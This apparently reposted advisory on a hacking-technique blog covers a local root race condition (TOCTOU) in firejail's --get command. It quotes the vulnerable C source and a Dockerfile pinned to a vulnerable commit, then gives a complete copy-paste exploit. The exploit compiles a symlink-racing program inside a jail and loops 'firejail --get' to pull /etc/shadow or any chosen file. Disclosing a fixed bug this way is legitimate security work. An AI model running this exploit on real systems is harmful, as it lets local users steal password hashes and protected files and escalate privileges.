Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383295

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# firejail advisory for TOCTOU in --get and --put (local root)

Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.

## Vulnerability

This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).

### Code: src/firejail/ls.c
~~~~
void sandboxfs(int op, pid_t pid, const char *path) {
        EUID_ASSERT();

        // if the pid is that of a firejail  process, use the pid of the first child process
        EUID_ROOT();
        char *comm = pid_proc_comm(pid);
        EUID_USER();
        if (comm) {
                if (strcmp(comm, "firejail") == 0) {
                        pid_t child;
                        if (find_child(pid, &child) == 0) {
                                pid = child;
                        }
                }
                free(comm);
        }

        // check privileges for non-root users
        uid_t uid = getuid();
        if (uid != 0) {
                uid_t sandbox_uid = pid_get_uid(pid);
                if (uid != sandbox_uid) {
                        fprintf(stderr, "Error: permission denied.\n");
                        exit(1);
                }
        }

        // full path or file in current directory?
        char *fname;
        if (*path == '/') {
                fname = strdup(path);
                if (!fname)
                        errExit("strdup");
        }
        else if (*path == '~') {
                if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)
                        errExit("asprintf");
        }
        else {
                fprintf(stderr, "Error: Cannot access %s\n", path);
                exit(1);
        }

        // sandbox root directory
        char *rootdir;
        if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)
                errExit("asprintf");

        if (op == SANDBOX_FS_LS) {
                EUID_ROOT();
                // chroot
                if (chroot(rootdir) < 0)
                        errExit("chroot");
                if (chdir("/") < 0)
                        errExit("chdir");

                // access chek is performed with the real UID
                if (access(fname, R_OK) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }

                // list directory contents
                struct stat s;
                if (stat(fname, &s) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }
                if (S_ISDIR(s.st_mode)) {
                        char *rp = realpath(fname, NULL);
                        if (!rp) {
                                fprintf(stderr, "Error: Cannot access %s\n", fname);
                                exit(1);
                        }
                        if (arg_debug)
                                printf("realpath %s\n", rp);

                        char *dir;
                        if (asprintf(&dir, "%s/", rp) == -1)
                                errExit("asprintf");

                        print_directory(dir);
                        free(rp);
                        free(dir);
                }
                else {
                        char *rp = realpath(fname, NULL);
                        if (!rp) {
                                fprintf(stderr, "Error: Cannot access %s\n", fname);
                                exit(1);
                        }
                        if (arg_debug)
                                printf("realpath %s\n", rp);
                        char *split = strrchr(rp, '/');
                        if (split) {
                                *split = '\0';
                                char *rp2 = split + 1;
                                if (arg_debug)
                                        printf("path %s, file %s\n", rp, rp2);
                                print_file_or_dir(rp, rp2, 1);
                        }
                        free(rp);
                }
        }

        // get file from sandbox and store it in the current directory
        else if (op == SANDBOX_FS_GET) {
                // check source file (sandbox)
                char *src_fname;
                if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)
                        errExit("asprintf");
                EUID_ROOT();
                struct stat s;
                if (stat(src_fname, &s) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }


                // try to open the source file - we need to chroot
                pid_t child = fork();
                if (child < 0)
                        errExit("fork");
                if (child == 0) {
                        // chroot
                        if (chroot(rootdir) < 0)
                                errExit("chroot");
                        if (chdir("/") < 0)
                                errExit("chdir");

                        // drop privileges
                        drop_privs(0);

                        // try to read the file
                        if (access(fname, R_OK) == -1) {
                                fprintf(stderr, "Error: Cannot read %s\n", fname);
                                exit(1);
                        }
                        exit(0);
                }

                // wait for the child to finish
                int status = 0;
                waitpid(child, &status, 0);
                if (WIFEXITED(status) && WEXITSTATUS(status) == 0);
                else
                        exit(1);
                EUID_USER();

                // check destination file (host)
                char *dest_fname = strrchr(fname, '/');
                if (!dest_fname || *(++dest_fname) == '\0') {
                        fprintf(stderr, "Error: invalid file name %s\n", fname);
                        exit(1);
                }

                if (access(dest_fname, F_OK) == -1) {
                        // try to create the file
                        FILE *fp = fopen(dest_fname, "w");
                        if (!fp) {
                                fprintf(stderr, "Error: cannot create %s\n", dest_fname);
                                exit(1);
                        }
                        fclose(fp);
                }
                else {
                        if (access(dest_fname, W_OK) == -1) {
                                fprintf(stderr, "Error: cannot write %s\n", dest_fname);
                                exit(1);
                        }
                }
                // copy file
                EUID_ROOT();
                copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);
                printf("Transfer complete\n");
                EUID_USER();
        }

        free(fname);
        free(rootdir);

        exit(0);
}
~~~~



### Code: src/firejail/util.c
~~~~
int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {
        assert(srcname);
        assert(destname);

        // open source
        int src = open(srcname, O_RDONLY);
        if (src < 0) {
                fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);
                return -1;
        }

        // open destination
        int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
        if (dst < 0) {
                fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);
                close(src);
                return -1;
        }

        // copy
        ssize_t len;
        static const int BUFLEN = 1024;
        unsigned char buf[BUFLEN];
        while ((len = read(src, buf, BUFLEN)) > 0) {
                int done = 0;
                while (done != len) {
                        int rv = write(dst, buf + done, len - done);
                        if (rv == -1) {
                                close(src);
                                close(dst);
                                return -1;
                        }

                        done += rv;
                }
        }

        if (fchown(dst, uid, gid) == -1)
                errExit("fchown");
        if (fchmod(dst, mode) == -1)
                errExit("fchmod");

        close(src);
        close(dst);
        return 0;
}
</snip>
~~~~

## Testing 

### Our Dockerfile

~~~~
FROM ubuntu:latest

ENV wdir /root/firejail

RUN apt-get update && apt-get install -y git gcc make
RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd
RUN git clone https://github.com/netblue30/firejail.git ${wdir}
WORKDIR ${wdir}
RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372
RUN ./configure && make && make install
~~~~

### Our exploit

This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:

~~~~
#dropper
cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF
mkdir -p /tmp/exploit
cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    char *fl = "/etc/shadow";

    if(argc > 1) {
        fl = argv[1];
    }

    while(1) {
        int fd = open("owned", O_CREAT | O_RDWR, 0777);
        if(fd == -1) {
            perror("open");
            exit(1);
        }
        close(fd);
        remove("owned");
        symlink(fl, "owned");
        remove("owned");
    }
}
TOCTOU_POC_END
cd /tmp/exploit
gcc ./gaolbreak.c -o gaolbreak
# XXX: change argv[1] to whatever you want
./gaolbreak /etc/shadow
GUEST_JAIL_SCRIPT_EOF

# run the dropper (symlink attack) in a jail
chmod +x ./gexp.sh
firejail --noprofile --force --name=el ./gexp.sh &

# win race using the vulnerable 'firejail --get' command.
mkdir exploitel
cd exploitel
while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done
~~~~